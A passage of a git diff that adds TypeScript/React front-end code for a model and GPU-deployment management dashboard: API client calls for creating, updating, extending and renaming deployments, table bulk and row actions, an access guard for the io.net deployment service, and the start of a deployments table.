+  const replicaCount = Number(params.replica_count)
+  const currency =
+    typeof params.currency === 'string' && params.currency.trim()
+      ? params.currency.trim().toLowerCase()
+      : 'usdc'
+
+  const payload = {
+    location_ids: locationIds,
+    hardware_id: hardwareId,
+    gpus_per_container: gpus,
+    duration_hours: duration,
+    replica_count: replicaCount,
+    currency,
+    duration_type: 'hour',
+    duration_qty: duration,
+    hardware_qty: gpus,
+  }
+
+  const res = await api.post('/api/deployments/price-estimation', payload)
+  return res.data
+}
+
+/**
+ * Create deployment
+ */
+export async function createDeployment(data: {
+  resource_private_name: string
+  duration_hours: number
+  gpus_per_container: number
+  hardware_id: number
+  location_ids: number[]
+  container_config: {
+    replica_count: number
+    env_variables?: Record<string, string>
+    secret_env_variables?: Record<string, string>
+    entrypoint?: string[]
+    traffic_port?: number
+    args?: string[]
+  }
+  registry_config: {
+    image_url: string
+    registry_username?: string
+    registry_secret?: string
+  }
+}): Promise<{
+  success: boolean
+  message?: string
+  data?: Record<string, unknown>
+}> {
+  const res = await api.post('/api/deployments/', data)
+  return res.data
+}
+
+/**
+ * Update deployment configuration
+ */
+export async function updateDeployment(
+  id: string | number,
+  data: {
+    env_variables?: Record<string, string>
+    secret_env_variables?: Record<string, string>
+    entrypoint?: string[]
+    traffic_port?: number | null
+    image_url?: string
+    registry_username?: string
+    registry_secret?: string
+    args?: string[]
+    command?: string
+  }
+): Promise<{
+  success: boolean
+  message?: string
+  data?: Record<string, unknown>
+}> {
+  const payload: Record<string, unknown> = { ...data }
+  if (data.traffic_port === null) {
+    delete payload.traffic_port
+  }
+  const res = await api.put(`/api/deployments/${id}`, payload)
+  return res.data
+}
+
+/**
+ * Update deployment name
+ */
+export async function updateDeploymentName(
+  id: string | number,
+  name: string
+): Promise<{
+  success: boolean
+  message?: string
+  data?: Record<string, unknown>
+}> {
+  const res = await api.put(`/api/deployments/${id}/name`, { name })
+  return res.data
+}
+
+/**
+ * Extend deployment duration
+ */
+export async function extendDeployment(
+  id: string | number,
+  durationHours: number
+): Promise<{
+  success: boolean
+  message?: string
+  data?: Record<string, unknown>
+}> {
+  const res = await api.post(`/api/deployments/${id}/extend`, {
+    duration_hours: durationHours,
+  })
+  return res.data
+}
+
+/**
+ * Check cluster name availability
+ */
+export async function checkClusterNameAvailability(name: string): Promise<{
+  success: boolean
+  message?: string
+  data?: { available?: boolean; name?: string }
+}> {
+  const res = await api.get('/api/deployments/check-name', {
+    params: { name },
+  })
+  return res.data
+}
diff --git a/new-api/web/default/src/features/models/components/data-table-bulk-actions.tsx b/new-api/web/default/src/features/models/components/data-table-bulk-actions.tsx
new file mode 100644
index 0000000..1cbd0f4
--- /dev/null
+++ b/new-api/web/default/src/features/models/components/data-table-bulk-actions.tsx
@@ -0,0 +1,189 @@
+import { useState } from 'react'
+import { useQueryClient } from '@tanstack/react-query'
+import { type Table } from '@tanstack/react-table'
+import { Power, PowerOff, Trash2, Copy } from 'lucide-react'
+import { useTranslation } from 'react-i18next'
+import { toast } from 'sonner'
+import { copyToClipboard } from '@/lib/copy-to-clipboard'
+import { Button } from '@/components/ui/button'
+import {
+  Dialog,
+  DialogContent,
+  DialogDescription,
+  DialogFooter,
+  DialogHeader,
+  DialogTitle,
+} from '@/components/ui/dialog'
+import {
+  Tooltip,
+  TooltipContent,
+  TooltipTrigger,
+} from '@/components/ui/tooltip'
+import { DataTableBulkActions as BulkActionsToolbar } from '@/components/data-table'
+import {
+  handleBatchEnableModels,
+  handleBatchDisableModels,
+  handleBatchDeleteModels,
+} from '../lib'
+import type { Model } from '../types'
+
+interface DataTableBulkActionsProps<TData> {
+  table: Table<TData>
+}
+
+export function DataTableBulkActions<TData>({
+  table,
+}: DataTableBulkActionsProps<TData>) {
+  const { t } = useTranslation()
+  const queryClient = useQueryClient()
+  const [showDeleteConfirm, setShowDeleteConfirm] = useState(false)
+
+  const selectedRows = table.getFilteredSelectedRowModel().rows
+  const selectedIds = selectedRows.reduce<number[]>((ids, row) => {
+    const id = (row.original as Model).id
+
+    if (typeof id === 'number') {
+      ids.push(id)
+    }
+
+    return ids
+  }, [])
+
+  const selectedModels = selectedRows.map((row) => row.original as Model)
+
+  const handleClearSelection = () => {
+    table.resetRowSelection()
+  }
+
+  const handleEnableAll = () => {
+    handleBatchEnableModels(selectedIds, queryClient, handleClearSelection)
+  }
+
+  const handleDisableAll = () => {
+    handleBatchDisableModels(selectedIds, queryClient, handleClearSelection)
+  }
+
+  const handleDeleteAll = () => {
+    handleBatchDeleteModels(selectedIds, queryClient, () => {
+      setShowDeleteConfirm(false)
+      handleClearSelection()
+    })
+  }
+
+  const handleCopyNames = async () => {
+    const names = selectedModels.map((m) => m.model_name).join(',')
+    const success = await copyToClipboard(names)
+    if (success) {
+      toast.success(t('Model names copied to clipboard'))
+    } else {
+      toast.error(t('Failed to copy model names'))
+    }
+  }
+
+  return (
+    <>
+      <BulkActionsToolbar table={table} entityName='model'>
+        <Tooltip>
+          <TooltipTrigger asChild>
+            <Button
+              variant='outline'
+              size='icon'
+              onClick={handleEnableAll}
+              className='size-8'
+              aria-label={t('Enable selected models')}
+              title={t('Enable selected models')}
+            >
+              <Power />
+              <span className='sr-only'>{t('Enable selected models')}</span>
+            </Button>
+          </TooltipTrigger>
+          <TooltipContent>
+            <p>{t('Enable selected models')}</p>
+          </TooltipContent>
+        </Tooltip>
+
+        <Tooltip>
+          <TooltipTrigger asChild>
+            <Button
+              variant='outline'
+              size='icon'
+              onClick={handleDisableAll}
+              className='size-8'
+              aria-label={t('Disable selected models')}
+              title={t('Disable selected models')}
+            >
+              <PowerOff />
+              <span className='sr-only'>{t('Disable selected models')}</span>
+            </Button>
+          </TooltipTrigger>
+          <TooltipContent>
+            <p>{t('Disable selected models')}</p>
+          </TooltipContent>
+        </Tooltip>
+
+        <Tooltip>
+          <TooltipTrigger asChild>
+            <Button
+              variant='outline'
+              size='icon'
+              onClick={handleCopyNames}
+              className='size-8'
+              aria-label={t('Copy model names')}
+              title={t('Copy model names')}
+            >
+              <Copy />
+              <span className='sr-only'>{t('Copy model names')}</span>
+            </Button>
+          </TooltipTrigger>
+          <TooltipContent>
+            <p>{t('Copy model names')}</p>
+          </TooltipContent>
+        </Tooltip>
+
+        <Tooltip>
+          <TooltipTrigger asChild>
+            <Button
+              variant='destructive'
+              size='icon'
+              onClick={() => setShowDeleteConfirm(true)}
+              className='size-8'
+              aria-label={t('Delete selected models')}
+              title={t('Delete selected models')}
+            >
+              <Trash2 />
+              <span className='sr-only'>{t('Delete selected models')}</span>
+            </Button>
+          </TooltipTrigger>
+          <TooltipContent>
+            <p>{t('Delete selected models')}</p>
+          </TooltipContent>
+        </Tooltip>
+      </BulkActionsToolbar>
+
+      {/* Delete Confirmation Dialog */}
+      <Dialog open={showDeleteConfirm} onOpenChange={setShowDeleteConfirm}>
+        <DialogContent>
+          <DialogHeader>
+            <DialogTitle>{t('Delete Models?')}</DialogTitle>
+            <DialogDescription>
+              {t('Are you sure you want to delete')} {selectedIds.length}{' '}
+              {t('model(s)? This action cannot be undone.')}
+            </DialogDescription>
+          </DialogHeader>
+
+          <DialogFooter>
+            <Button
+              variant='outline'
+              onClick={() => setShowDeleteConfirm(false)}
+            >
+              {t('Cancel')}
+            </Button>
+            <Button variant='destructive' onClick={handleDeleteAll}>
+              {t('Delete')}
+            </Button>
+          </DialogFooter>
+        </DialogContent>
+      </Dialog>
+    </>
+  )
+}
diff --git a/new-api/web/default/src/features/models/components/data-table-row-actions.tsx b/new-api/web/default/src/features/models/components/data-table-row-actions.tsx
new file mode 100644
index 0000000..302c704
--- /dev/null
+++ b/new-api/web/default/src/features/models/components/data-table-row-actions.tsx
@@ -0,0 +1,118 @@
+import { useState } from 'react'
+import { useQueryClient } from '@tanstack/react-query'
+import { type Row } from '@tanstack/react-table'
+import { MoreHorizontal, Pencil, Power, PowerOff, Trash2 } from 'lucide-react'
+import { useTranslation } from 'react-i18next'
+import { Button } from '@/components/ui/button'
+import {
+  DropdownMenu,
+  DropdownMenuContent,
+  DropdownMenuItem,
+  DropdownMenuSeparator,
+  DropdownMenuShortcut,
+  DropdownMenuTrigger,
+} from '@/components/ui/dropdown-menu'
+import { ConfirmDialog } from '@/components/confirm-dialog'
+import {
+  handleDeleteModel,
+  handleToggleModelStatus,
+  isModelEnabled,
+} from '../lib'
+import type { Model } from '../types'
+import { useModels } from './models-provider'
+
+interface DataTableRowActionsProps {
+  row: Row<Model>
+}
+
+export function DataTableRowActions({ row }: DataTableRowActionsProps) {
+  const { t } = useTranslation()
+  const model = row.original
+  const { setOpen, setCurrentRow } = useModels()
+  const queryClient = useQueryClient()
+  const [deleteConfirmOpen, setDeleteConfirmOpen] = useState(false)
+
+  const isEnabled = isModelEnabled(model)
+
+  const handleEdit = () => {
+    setCurrentRow(model)
+    setOpen('update-model')
+  }
+
+  const handleToggleStatus = () => {
+    handleToggleModelStatus(model.id, model.status, queryClient)
+  }
+
+  return (
+    <DropdownMenu>
+      <DropdownMenuTrigger asChild>
+        <Button
+          variant='ghost'
+          className='data-[state=open]:bg-muted flex h-8 w-8 p-0'
+        >
+          <MoreHorizontal className='h-4 w-4' />
+          <span className='sr-only'>{t('Open menu')}</span>
+        </Button>
+      </DropdownMenuTrigger>
+      <DropdownMenuContent align='end' className='w-48'>
+        {/* Edit */}
+        <DropdownMenuItem onClick={handleEdit}>
+          {t('Edit')}
+          <DropdownMenuShortcut>
+            <Pencil size={16} />
+          </DropdownMenuShortcut>
+        </DropdownMenuItem>
+
+        <DropdownMenuSeparator />
+
+        {/* Enable/Disable */}
+        <DropdownMenuItem onClick={handleToggleStatus}>
+          {isEnabled ? (
+            <>
+              {t('Disable')}
+              <DropdownMenuShortcut>
+                <PowerOff size={16} />
+              </DropdownMenuShortcut>
+            </>
+          ) : (
+            <>
+              {t('Enable')}
+              <DropdownMenuShortcut>
+                <Power size={16} />
+              </DropdownMenuShortcut>
+            </>
+          )}
+        </DropdownMenuItem>
+
+        <DropdownMenuSeparator />
+
+        {/* Delete */}
+        <DropdownMenuItem
+          onSelect={(e) => {
+            e.preventDefault()
+            setDeleteConfirmOpen(true)
+          }}
+          className='text-destructive focus:text-destructive'
+        >
+          {t('Delete')}
+          <DropdownMenuShortcut>
+            <Trash2 size={16} />
+          </DropdownMenuShortcut>
+        </DropdownMenuItem>
+      </DropdownMenuContent>
+
+      <ConfirmDialog
+        open={deleteConfirmOpen}
+        onOpenChange={setDeleteConfirmOpen}
+        title={t('Delete Model')}
+        desc={`Are you sure you want to delete "${model.model_name}"? This action cannot be undone.`}
+        confirmText='Delete'
+        destructive
+        handleConfirm={() => {
+          handleDeleteModel(model.id, queryClient)
+          setDeleteConfirmOpen(false)
+        }}
+      />
+    </DropdownMenu>
+  )
+}
diff --git a/new-api/web/default/src/features/models/components/deployment-access-guard.tsx b/new-api/web/default/src/features/models/components/deployment-access-guard.tsx
new file mode 100644
index 0000000..726f507
--- /dev/null
+++ b/new-api/web/default/src/features/models/components/deployment-access-guard.tsx
@@ -0,0 +1,181 @@
+import type { ReactNode } from 'react'
+import { useNavigate } from '@tanstack/react-router'
+import {
+  AlertCircle,
+  CheckCircle2,
+  Circle,
+  Loader2,
+  Server,
+  Settings,
+  WifiOff,
+} from 'lucide-react'
+import { useTranslation } from 'react-i18next'
+import { cn } from '@/lib/utils'
+import { Alert, AlertDescription, AlertTitle } from '@/components/ui/alert'
+import { Button } from '@/components/ui/button'
+
+type LoadingPhase = 'idle' | 'settings' | 'connection' | 'done'
+type StepStatus = 'pending' | 'loading' | 'done'
+
+function getSettingsStatus(phase: LoadingPhase): StepStatus {
+  if (phase === 'settings') return 'loading'
+  if (phase === 'connection' || phase === 'done') return 'done'
+  return 'pending'
+}
+
+function getConnectionStatus(
+  phase: LoadingPhase,
+  connectionOk: boolean | null
+): StepStatus {
+  if (phase === 'connection') return 'loading'
+  if (phase === 'done' && connectionOk) return 'done'
+  return 'pending'
+}
+
+interface DeploymentAccessGuardProps {
+  children: ReactNode
+  loading: boolean
+  loadingPhase?: LoadingPhase
+  isEnabled: boolean
+  connectionLoading: boolean
+  connectionOk: boolean | null
+  connectionError: string | null
+  onRetry: () => void
+}
+
+function LoadingStep({
+  label,
+  status,
+}: {
+  label: string
+  status: 'pending' | 'loading' | 'done'
+}) {
+  return (
+    <div className='flex items-center gap-3'>
+      {status === 'loading' && (
+        <Loader2 className='text-primary h-5 w-5 animate-spin' />
+      )}
+      {status === 'done' && <CheckCircle2 className='h-5 w-5 text-green-500' />}
+      {status === 'pending' && (
+        <Circle className='text-muted-foreground/40 h-5 w-5' />
+      )}
+      <span
+        className={cn(
+          'text-sm',
+          status === 'loading' && 'text-foreground font-medium',
+          status === 'done' && 'text-muted-foreground',
+          status === 'pending' && 'text-muted-foreground/60'
+        )}
+      >
+        {label}
+      </span>
+    </div>
+  )
+}
+
+export function DeploymentAccessGuard({
+  children,
+  loading,
+  loadingPhase = 'settings',
+  isEnabled,
+  connectionLoading,
+  connectionOk,
+  connectionError,
+  onRetry,
+}: DeploymentAccessGuardProps) {
+  const { t } = useTranslation()
+  const navigate = useNavigate()
+
+  const handleGoToSettings = () => {
+    navigate({ to: '/system-settings/integrations' })
+  }
+
+  // Combined loading state with step indicator
+  if (loading || connectionLoading) {
+    const settingsStatus = getSettingsStatus(loadingPhase)
+    const connectionStatus = getConnectionStatus(loadingPhase, connectionOk)
+
+    return (
+      <div className='mx-auto mt-8 max-w-md'>
+        <div className='flex flex-col items-center justify-center py-12'>
+          <Loader2 className='text-primary mb-6 h-10 w-10 animate-spin' />
+          <div className='space-y-3'>
+            <LoadingStep
+              label={t('Loading configuration')}
+              status={settingsStatus}
+            />
+            <LoadingStep
+              label={t('Checking connection')}
+              status={connectionStatus}
+            />
+          </div>
+        </div>
+      </div>
+    )
+  }
+
+  // Disabled state
+  if (!isEnabled) {
+    return (
+      <div className='mx-auto mt-8 max-w-md'>
+        <div className='text-center'>
+          <div className='mx-auto mb-4 flex h-16 w-16 items-center justify-center rounded-full bg-amber-100 dark:bg-amber-900/20'>
+            <Server className='h-8 w-8 text-amber-600 dark:text-amber-400' />
+          </div>
+          <h3 className='mb-6 text-xl font-semibold'>
+            {t('Model deployment service is disabled')}
+          </h3>
+        </div>
+        <div className='space-y-4'>
+          <Alert variant='default'>
+            <AlertCircle className='h-4 w-4' />
+            <AlertTitle>{t('Configuration required')}</AlertTitle>
+            <AlertDescription>
+              {t(
+                'Please enable io.net model deployment service and configure an API key in System Settings.'
+              )}
+            </AlertDescription>
+          </Alert>
+          <Button onClick={handleGoToSettings} className='w-full'>
+            <Settings className='mr-2 h-4 w-4' />
+            {t('Go to settings')}
+          </Button>
+        </div>
+      </div>
+    )
+  }
+
+  // Connection error state
+  if (connectionOk === false && connectionError) {
+    return (
+      <div className='mx-auto mt-8 max-w-md'>
+        <div className='text-center'>
+          <div className='mx-auto mb-4 flex h-16 w-16 items-center justify-center rounded-full bg-red-100 dark:bg-red-900/20'>
+            <WifiOff className='h-8 w-8 text-red-600 dark:text-red-400' />
+          </div>
+          <h3 className='mb-6 text-xl font-semibold'>
+            {t('Connection failed')}
+          </h3>
+        </div>
+        <div className='space-y-4'>
+          <Alert variant='destructive'>
+            <AlertCircle className='h-4 w-4' />
+            <AlertTitle>{t('Connection error')}</AlertTitle>
+            <AlertDescription>{t(connectionError)}</AlertDescription>
+          </Alert>
+          <div className='flex gap-2'>
+            <Button variant='outline' onClick={onRetry} className='flex-1'>
+              {t('Retry')}
+            </Button>
+            <Button onClick={handleGoToSettings} className='flex-1'>
+              <Settings className='mr-2 h-4 w-4' />
+              {t('Go to settings')}
+            </Button>
+          </div>
+        </div>
+      </div>
+    )
+  }
+
+  return <>{children}</>
+}
diff --git a/new-api/web/default/src/features/models/components/deployments-columns.tsx b/new-api/web/default/src/features/models/components/deployments-columns.tsx
new file mode 100644
index 0000000..ad65b96
--- /dev/null
+++ b/new-api/web/default/src/features/models/components/deployments-columns.tsx
@@ -0,0 +1,303 @@
+import { type ColumnDef } from '@tanstack/react-table'
+import { Eye, Info, Pencil, Settings2, Timer, Trash2 } from 'lucide-react'
+import { useTranslation } from 'react-i18next'
+import { formatTimestampToDate } from '@/lib/format'
+import { Button } from '@/components/ui/button'
+import { DataTableColumnHeader } from '@/components/data-table/column-header'
+import { StatusBadge } from '@/components/status-badge'
+import { getDeploymentStatusConfig } from '../constants'
+import {
+  formatRemainingMinutes,
+  normalizeDeploymentStatus,
+} from '../lib/deployments-utils'
+import type { Deployment } from '../types'
+
+export function useDeploymentsColumns(opts: {
+  onViewLogs: (id: string | number) => void
+  onViewDetails: (id: string | number) => void
+  onUpdateConfig: (id: string | number) => void
+  onExtend: (id: string | number) => void
+  onRename: (id: string | number, currentName: string) => void
+  onDelete: (deployment: Deployment) => void
+}): ColumnDef<Deployment>[] {
+  const { t } = useTranslation()
+  const STATUS = getDeploymentStatusConfig(t)
+
+  return [
+    {
+      accessorKey: 'id',
+      meta: { label: t('ID'), mobileHidden: true },
+      header: ({ column }) => (
+        <DataTableColumnHeader column={column} title={t('ID')} />
+      ),
+      cell: ({ row }) => {
+        const id = row.original.id
+        return (
+          <StatusBadge
+            label={String(id)}
+            variant='neutral'
+            copyText={String(id)}
+            size='sm'
+            className='font-mono'
+          />
+        )
+      },
+      size: 120,
+    },
+    {
+      id: 'name',
+      accessorFn: (row) =>
+        row.container_name || row.deployment_name || row.name || '',
+      meta: { label: t('Name'), mobileTitle: true },
+      header: ({ column }) => (
+        <DataTableColumnHeader column={column} title={t('Name')} />
+      ),
+      cell: ({ getValue }) => {
+        const name = String(getValue() || '-') || '-'
+        return (
+          <StatusBadge
+            label={name}
+            variant='neutral'
+            copyText={name}
+            size='sm'
+            className='font-mono'
+          />
+        )
+      },
+      minSize: 220,
+    },
+    {
+      accessorKey: 'status',
+      meta: { label: t('Status'), mobileBadge: true },
+      header: t('Status'),
+      cell: ({ row }) => {
+        const raw = row.original.status
+        const key = normalizeDeploymentStatus(raw)
+        const config = STATUS[key] || {
+          label:
+            typeof raw === 'string' && raw.trim() ? raw.trim() : t('Unknown'),
+          variant: 'neutral' as const,
+        }
+        return (
+          <StatusBadge
+            label={config.label}
+            variant={config.variant}
+            showDot={config.showDot}
+            size='sm'
+            copyable={false}
+            rounded='full'
+          />
+        )
+      },
+      filterFn: (row, id, value) => {
+        if (
+          !Array.isArray(value) ||
+          value.length === 0 ||
+          value.includes('all')
+        ) {
+          return true
+        }
+        const status = normalizeDeploymentStatus(row.getValue(id))
+        return value.includes(status)
+      },
+      size: 160,
+      enableSorting: false,
+    },
+    {
+      accessorKey: 'provider',
+      meta: { label: t('Provider') },
+      header: t('Provider'),
+      cell: ({ row }) => {
+        const provider = row.original.provider
+        if (!provider)
+          return <span className='text-muted-foreground text-xs'>-</span>
+        return (
+          <StatusBadge
+            label={String(provider)}
+            autoColor={String(provider)}
+            size='sm'
+            copyable={false}
+            rounded='full'
+          />
+        )
+      },
+      size: 140,
+      enableSorting: false,
+    },
+    {
+      accessorKey: 'time_remaining',
+      meta: { label: t('Time remaining') },
+      header: t('Time remaining'),
+      cell: ({ row }) => {
+        const status = normalizeDeploymentStatus(row.original.status)
+        const remainingText =
+          typeof row.original.time_remaining === 'string' &&
+          row.original.time_remaining.trim()
+            ? row.original.time_remaining.trim()
+            : '-'
+        const remainingHuman = formatRemainingMinutes(
+          row.original.compute_minutes_remaining
+        )
+        const percentUsed =
+          typeof row.original.completed_percent === 'number' &&
+          Number.isFinite(row.original.completed_percent)
+            ? Math.max(
+                0,
+                Math.min(100, Math.round(row.original.completed_percent))
+              )
+            : null
+        const percentRemain =
+          percentUsed === null
+            ? null
+            : Math.max(0, Math.min(100, 100 - percentUsed))
+
+        return (
+          <div className='flex flex-col gap-1 text-sm'>
+            <div className='flex flex-wrap items-center gap-2'>
+              <span className='font-medium'>{remainingText}</span>
+              {status === 'running' && percentRemain !== null ? (
+                <StatusBadge
+                  label={`${percentRemain}%`}
+                  variant='info'
+                  size='sm'
+                  copyable={false}
+                  rounded='full'
+                />
+              ) : null}
+            </div>
+            {remainingHuman ? (
+              <div className='text-muted-foreground text-xs'>
+                {t('Approx.')} {remainingHuman}
+              </div>
+            ) : null}
+          </div>
+        )
+      },
+      minSize: 220,
+      enableSorting: false,
+    },
+    {
+      id: 'hardware',
+      meta: { label: t('Hardware'), mobileHidden: true },
+      header: t('Hardware'),
+      accessorFn: (row) =>
+        row.hardware_info || row.hardware_name || row.brand_name || '',
+      cell: ({ row }) => {
+        const hardware =
+          row.original.hardware_name ||
+          (typeof row.original.hardware_info === 'string'
+            ? row.original.hardware_info
+            : '')
+        const qty =
+          typeof row.original.hardware_quantity === 'number'
+            ? row.original.hardware_quantity
+            : null
+        if (!hardware)
+          return <span className='text-muted-foreground text-xs'>-</span>
+        return (
+          <div className='flex flex-wrap items-center gap-2'>
+            <StatusBadge
+              label={String(hardware)}
+              variant='neutral'
+              copyText={String(hardware)}
+              size='sm'
+            />
+            {qty !== null ? (
+              <span className='text-muted-foreground text-xs'>×{qty}</span>
+            ) : null}
+          </div>
+        )
+      },
+      minSize: 220,
+      enableSorting: false,
+    },
+    {
+      accessorKey: 'created_at',
+      meta: { label: t('Created'), mobileHidden: true },
+      header: ({ column }) => (
+        <DataTableColumnHeader column={column} title={t('Created')} />
+      ),
+      cell: ({ row }) => {
+        const ts =
+          typeof row.original.created_at === 'number'
+            ? row.original.created_at
+            : typeof row.original.created_at === 'string'
+              ? Number(row.original.created_at)
+              : undefined
+        return (
+          <div className='min-w-[140px] font-mono text-sm'>
+            {formatTimestampToDate(ts)}
+          </div>
+        )
+      },
+      size: 180,
+    },
+    {
+      id: 'actions',
+      enableHiding: false,
+      enableSorting: false,
+      cell: ({ row }) => {
+        const id = row.original.id
+        const currentName =
+          row.original.container_name ||
+          row.original.deployment_name ||
+          row.original.name ||
+          ''
+
+        return (
+          <div className='flex items-center gap-1'>
+            <Button
+              variant='ghost'
+              size='sm'
+              onClick={() => opts.onViewLogs(id)}
+              title={t('View logs')}
+            >
+              <Eye className='h-4 w-4' />
+            </Button>
+            <Button
+              variant='ghost'
+              size='sm'
+              onClick={() => opts.onViewDetails(id)}
+              title={t('View details')}
+            >
+              <Info className='h-4 w-4' />
+            </Button>
+            <Button
+              variant='ghost'
+              size='sm'
+              onClick={() => opts.onUpdateConfig(id)}
+              title={t('Update configuration')}
+            >
+              <Settings2 className='h-4 w-4' />
+            </Button>
+            <Button
+              variant='ghost'
+              size='sm'
+              onClick={() => opts.onExtend(id)}
+              title={t('Extend deployment')}
+            >
+              <Timer className='h-4 w-4' />
+            </Button>
+            <Button
+              variant='ghost'
+              size='sm'
+              onClick={() => opts.onRename(id, String(currentName))}
+              title={t('Rename deployment')}
+            >
+              <Pencil className='h-4 w-4' />
+            </Button>
+            <Button
+              variant='ghost'
+              size='sm'
+              onClick={() => opts.onDelete(row.original)}
+              title={t('Delete')}
+            >
+              <Trash2 className='h-4 w-4 text-red-500' />
+            </Button>
+          </div>
+        )
+      },
+      size: 180,
+    },
+  ]
+}
diff --git a/new-api/web/default/src/features/models/components/deployments-table.tsx b/new-api/web/default/src/features/models/components/deployments-table.tsx
new file mode 100644
index 0000000..befcbd1
--- /dev/null
+++ b/new-api/web/default/src/features/models/components/deployments-table.tsx
@@ -0,0 +1,400 @@
+import { useEffect, useMemo, useState } from 'react'
+import { useQuery, useQueryClient } from '@tanstack/react-query'
+import { getRouteApi } from '@tanstack/react-router'
+import {
+  flexRender,
+  getCoreRowModel,
+  useReactTable,
+  type VisibilityState,
+} from '@tanstack/react-table'
+import { useMediaQuery } from '@/hooks'
+import { useTranslation } from 'react-i18next'
+import { toast } from 'sonner'
+import { cn } from '@/lib/utils'
+import { useTableUrlState } from '@/hooks/use-table-url-state'
+import {
+  AlertDialog,
+  AlertDialogAction,
+  AlertDialogCancel,
+  AlertDialogContent,
+  AlertDialogDescription,
+  AlertDialogFooter,
+  AlertDialogHeader,
+  AlertDialogTitle,
+} from '@/components/ui/alert-dialog'
+import {
+  Table,
+  TableBody,
+  TableCell,
+  TableHead,
+  TableHeader,
+  TableRow,
+} from '@/components/ui/table'
+import {
+  DataTableToolbar,
+  MobileCardList,
+  TableEmpty,
+  TableSkeleton,
+} from '@/components/data-table'
+import { DataTablePagination } from '@/components/data-table/pagination'
+import { PageFooterPortal } from '@/components/layout'
+import { deleteDeployment, listDeployments, searchDeployments } from '../api'
+import { getDeploymentStatusOptions } from '../constants'
+import { deploymentsQueryKeys } from '../lib'
+import type { Deployment } from '../types'
+import { useDeploymentsColumns } from './deployments-columns'
+import { ExtendDeploymentDialog } from './dialogs/extend-deployment-dialog'
+import { RenameDeploymentDialog } from './dialogs/rename-deployment-dialog'
+import { UpdateConfigDialog } from './dialogs/update-config-dialog'
+import { ViewDetailsDialog } from './dialogs/view-details-dialog'
+import { ViewLogsDialog } from './dialogs/view-logs-dialog'
+
+const route = getRouteApi('/_authenticated/models/$section')
+
+export function DeploymentsTable() {
+  const { t } = useTranslation()
+  const queryClient = useQueryClient()
+  const isMobile = useMediaQuery('(max-width: 640px)')
+
+  // URL state (use dedicated keys so it won't collide with metadata table)
+  const {
+    globalFilter,
+    onGlobalFilterChange,
+    columnFilters,
+    onColumnFiltersChange,
+    pagination,
+    onPaginationChange,
+    ensurePageInRange,
+  } = useTableUrlState({
+    search: route.useSearch(),
+    navigate: route.useNavigate(),
+    pagination: {
+      pageKey: 'dPage',
+      pageSizeKey: 'dPageSize',
+      defaultPage: 1,
+      defaultPageSize: 10,
+    },
+    globalFilter: { enabled: true, key: 'dFilter' },
+    columnFilters: [
+      { columnId: 'status', searchKey: 'dStatus', type: 'array' },
+    ],
+  })
+
+  const keyword = globalFilter ?? ''
+  const statusFilter =
+    (columnFilters.find((f) => f.id === 'status')?.value as string[]) || []
+  const activeStatus =
+    statusFilter.length > 0 && !statusFilter.includes('all')
+      ? statusFilter[0]
+      : undefined
+
+  // Dialog state
+  const [logsOpen, setLogsOpen] = useState(false)
+  const [logsDeploymentId, setLogsDeploymentId] = useState<
+    string | number | null
+  >(null)
+  const [detailsOpen, setDetailsOpen] = useState(false)
+  const [detailsDeploymentId, setDetailsDeploymentId] = useState<
+    string | number | null
+  >(null)
+  const [updateOpen, setUpdateOpen] = useState(false)
+  const [updateDeploymentId, setUpdateDeploymentId] = useState<
+    string | number | null
+  >(null)
+  const [extendOpen, setExtendOpen] = useState(false)
+  const [extendDeploymentId, setExtendDeploymentId] = useState<
+    string | number | null
+  >(null)
+  const [renameOpen, setRenameOpen] = useState(false)
+  const [renameDeploymentId, setRenameDeploymentId] = useState<
+    string | number | null
+  >(null)
+  const [renameCurrentName, setRenameCurrentName] = useState<string>('')
+
+  // Delete confirm
+  const [deleteOpen, setDeleteOpen] = useState(false)
+  const [deleteTarget, setDeleteTarget] = useState<Deployment | null>(null)
+  const [isDeleting, setIsDeleting] = useState(false)
+
+  const { data, isLoading, isFetching } = useQuery({
+    queryKey: deploymentsQueryKeys.list({
+      keyword,
+      status: activeStatus,
+      p: pagination.pageIndex + 1,
+      page_size: pagination.pageSize,
+    }),
+    queryFn: async () => {
+      if (keyword.trim()) {
+        return searchDeployments({
+          keyword,
+          status: activeStatus,
+          p: pagination.pageIndex + 1,
+          page_size: pagination.pageSize,
+        })
+      }
+      return listDeployments({
+        status: activeStatus,
+        p: pagination.pageIndex + 1,
+        page_size: pagination.pageSize,
+      })
+    },
+    placeholderData: (prev) => prev,
+  })
+
+  const deployments = data?.data?.items || []
+  const totalCount = data?.data?.total || 0
+
+  const handleDelete = async () => {
+    if (!deleteTarget) return
+    setIsDeleting(true)
+    try {
+      const res = await deleteDeployment(deleteTarget.id)
+      if (res?.success) {
+        toast.success(t('Deleted successfully'))
+        queryClient.invalidateQueries({
+          queryKey: deploymentsQueryKeys.lists(),
+        })
+      } else {
+        toast.error(res?.message || t('Delete failed'))
+      }
+    } catch (err) {
+      toast.error(err instanceof Error ? err.message : t('Delete failed'))
+    } finally {
+      setIsDeleting(false)
+      setDeleteOpen(false)
+      setDeleteTarget(null)
+    }
+  }
+
+  const [columnVisibility, setColumnVisibility] = useState<VisibilityState>({})
+
+  const columns = useDeploymentsColumns({
+    onViewLogs: (id) => {
+      setLogsDeploymentId(id)
+      setLogsOpen(true)
+    },
+    onViewDetails: (id) => {
+      setDetailsDeploymentId(id)
+      setDetailsOpen(true)
+    },
+    onUpdateConfig: (id) => {
+      setUpdateDeploymentId(id)
+      setUpdateOpen(true)
+    },
+    onExtend: (id) => {
+      setExtendDeploymentId(id)
+      setExtendOpen(true)
+    },
+    onRename: (id, currentName) => {
+      setRenameCurrentName(currentName)
+      setRenameDeploymentId(id)
+      setRenameOpen(true)
+    },
+    onDelete: (deployment) => {
+      setDeleteTarget(deployment)
+      setDeleteOpen(true)
+    },
+  })
+
+  const table = useReactTable({
+    data: deployments,
+    columns,
+    pageCount: Math.ceil(totalCount / pagination.pageSize),
+    state: {
+      columnFilters,
+      columnVisibility,
+      pagination,
+      globalFilter,
+    },
+    onColumnFiltersChange,
+    onColumnVisibilityChange: setColumnVisibility,
+    onPaginationChange,
+    onGlobalFilterChange,
+    getCoreRowModel: getCoreRowModel(),
+    manualPagination: true,
+    manualFiltering: true,
+  })
+
+  const pageCount = table.getPageCount()
+  useEffect(() => {
+    ensurePageInRange(pageCount)
+  }, [ensurePageInRange, pageCount])
+
+  const statusFilterOptions = useMemo(() => {
+    return [...getDeploymentStatusOptions(t)].map((opt) => ({
+      label: opt.label,
+      value: opt.value,
+    }))
+  }, [t])
+
+  return (
+    <>
+      <div className='space-y-4'>
+        <DataTableToolbar
+          table={table}
+          searchPlaceholder={t('Search deployments...')}
+          filters={[
+            {
